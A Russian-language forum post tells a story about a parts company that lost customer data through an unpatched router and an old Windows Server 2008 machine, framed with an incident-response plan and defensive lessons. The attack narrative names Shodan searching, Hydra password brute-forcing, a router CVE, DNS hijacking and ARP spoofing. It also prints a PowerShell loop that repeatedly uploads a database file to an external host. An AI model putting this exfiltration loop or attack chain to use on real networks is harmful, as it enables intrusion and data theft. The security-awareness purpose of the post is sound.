Как утечка данных через старый роутер стоила компании 20% клиентов?

[vaspvort]

Описание инцидента: Злоумышленник взломал старый роутер с известными уязвимостями, перехватив трафик и украл данные.

План реагирования:

1. Обнаружение: Заметить подозрительный трафик или медленный интернет.

2. Изоляция: Отключить роутер от сети.

3. Оповещение: Сообщить руководству и провайдеру.

4. Исправление: Обновить прошивку роутера или заменить его.

5. Проверка: Убедиться, что трафик идет безопасно, и данные не утекли.

6. Предотвращение: Регулярно обновлять оборудование и проверять уязвимости.


Что может пойти не так:

- Администратор не знает пароль роутера.

- Прошивка не обновляется из-за старости.

- Нет логов для анализа трафика.

- Новый роутер не куплен из-за бюджета.

- Сотрудники подключаются к старой сети.

- Утечка не замечена вовремя.

В офисе компании, торгующей запчастями для техники, рабочий день шёл полным ходом. Менеджеры оформляли заказы, логисты планировали маршруты, а директор говорил о новых контрактах. Техническая часть была скромной: сервер на Windows Server 2008, который не обновляли с прошлого десятилетия, пылился в углу, а роутер TP-Link Archer, купленный в 2020 году, раздавал Wi-Fi. За ИТ отвечал системный администратор, уверенный, что перезагрузка лечит всё, кроме, как оказалось, взлома. «Сервер старый, но живой, а роутер новый — чего ещё надо?» — говорил он, игнорируя уведомления об обновлениях.

Роутер был не таким уж старым, но прошивка осталась заводской — с 2020 года её не трогали. Пароль сменили с дефолтного на «office2020» — проще не придумаешь, и роутер не блокировал попытки входа. Имя сети (SSID) — «PartsWiFi» — не скрывали. Сеть не была сегментирована: отсутствие VLAN позволяло свободно перемещаться между сервером и рабочими станциями. Системный администратор думал, что раз роутер куплен недавно, он сам по себе безопасен. Windows Server 2008 давно вышел из поддержки, но его оставили, потому что «всё работает». Проверки на уязвимости? «Зачем, если никто не жалуется?»

Первый шаг хакера [взлом роутера через слабый пароль]​

Злоумышленник искал уязвимые устройства через Shodan — поисковик, который индексирует открытые порты и версии прошивок. Вбив фильтр TP-Link Archer C6 port:80, он нашёл роутер компании с устаревшей прошивкой, уязвимой к CVE-2021-41653 — ошибке, позволяющей выполнить произвольный код через веб-интерфейс. Чтобы убедиться, он отправил запрос через curl — curl -I

Для просмотра ссылки необходимо нажать Вход или Регистрация

— и получил баннер с версией прошивки, подтвердив проблему. Затем он запустил Hydra и подобрал пароль «office2020» за пару часов — роутер не ограничивал попытки. Войдя в роутер, он использовал уязвимость CVE-2021-41653 для инъекции кода, изменил DNS-серверы в настройках и перезагрузил устройство — клиенты переподключились автоматически, и никто не заметил. Он также настроил ARP-спуфинг для перехвата трафика внутри сети.

Утро взлома [пароли и файлы в руках хакера]​

Утро среды началось как обычно. Менеджер ввёл в CRM пароль «Parts2023» — хакер записал его через перехват трафика. Бухгалтер отправила PDF с ценами через портал поставщика, который работал на устаревшем ПО и не поддерживал HTTPS — сотрудники не заметили http в URL, и файл попал к хакеру. Интернет стал медленнее, страницы грузились с задержкой. «Провайдер барахлит», — решил системный администратор, не проверяя дальше. Логи роутера могли показать утечку, но их не включили — «места на диске мало». Системы мониторинга не использовались — администратор полагался только на жалобы сотрудников.

Хакер настроил туннель через роутер, чтобы добраться до сервера в той же сети. Подключился через RDP — Windows Server 2008 даже не запросил сложный пароль. Журналы RDP-подключений были переполнены старыми записями, поэтому аномалию не заметили. Он нашёл базу данных PostgreSQL с 15 000 клиентов — имена, телефоны, история заказов. Затем добавил скрипт PowerShell:

while ($true) { Invoke-WebRequest -Uri "

Для просмотра ссылки необходимо нажать Вход или Регистрация

" -Method Post -InFile "C:\Data\db.sqlite" Start-Sleep 900 }

Этот скрипт каждые 15 минут (900 секунд) отправлял базу на

Для просмотра ссылки необходимо нажать Вход или Регистрация

. Брандмауэр на сервере был отключен администратором год назад для «устранения проблем с подключением», что позволило скрипту работать без блокировок. В PowerShell Invoke-WebRequest — команда для передачи файлов по HTTP, а Start-Sleep — пауза в секундах. Цикл while ($true) заставлял его работать бесконечно.

Пятница [как нашли утечку данных]​

В пятницу логист пожаловался: «CRM тормозит, данные пропадают». Системный администратор зашёл в интерфейс роутера с паролем «office2020» и увидел, что DNS-серверы изменены. Вспомнив базовые курсы по безопасности, он запустил Wireshark — программу, которая ловит сетевые пакеты и показывает IP-адреса отправителя и получателя, — и заметил, что трафик уходит на неизвестный IP в Азии. На сервере процесс svch0st.exe (с цифрой «0» вместо «o») нагружал CPU на 5-10% в моменты передачи данных — это был вредоносный скрипт, а не системный svchost.exe. Если бы он ввёл Get-Process в PowerShell, то заметил бы подозрительный процесс, но он ограничился перезагрузкой.

Паника в офисе [что делать после взлома]​

Системный администратор отключил роутер от интернета, но сервер уже был скомпрометирован. Он доложил директору: «Кто-то влез через роутер и сервер», и позвонил провайдеру, чтобы проверить внешний трафик. Директор спросил: «Что украли? Клиентов? Деньги?» Логов роутера не было — они не хранились больше часа без внешнего сервера. Серверные журналы не помогли — Windows Server 2008 не поддерживал современные инструменты анализа. Прошивку роутера обновили, проверили трафик через Wireshark — он шёл чисто, но данные уже утекли. Сотрудников предупредили о фишинге, но один из них уже ввёл пароль на поддельном сайте до отключения роутера. Обновить сервер не смогли — он слишком старый, а новый купить не дали — «бюджета нет». Резервных копий не было — администратор считал, что сервер ненадёжен для их хранения.

Удар по бизнесу [клиенты ушли к конкуренту ]​

Через две недели конкурент начал переманивать клиентов, используя украденные контакты и историю заказов для целевой рассылки с персональными предложениями, что привело к потере 20% бизнеса. Системный администратор обновил роутер, включил логи, настроил WPA2 с AES-шифрованием — WPA3 эта модель не поддерживала. Сервер оставили на потом — «денег нет». Директор вздохнул: «Не обновляешь технику — теряешь бизнес». Пренебрежение к обновлениям дорого обошлось.

Проверьте свой роутер - защитите данные от хакеров!​

Один необновлённый роутер и старый сервер — и данные украдены. Как бы вы защитили свою сеть? Делитесь в комментариях!

Для просмотра ссылки необходимо нажать Вход или Регистрация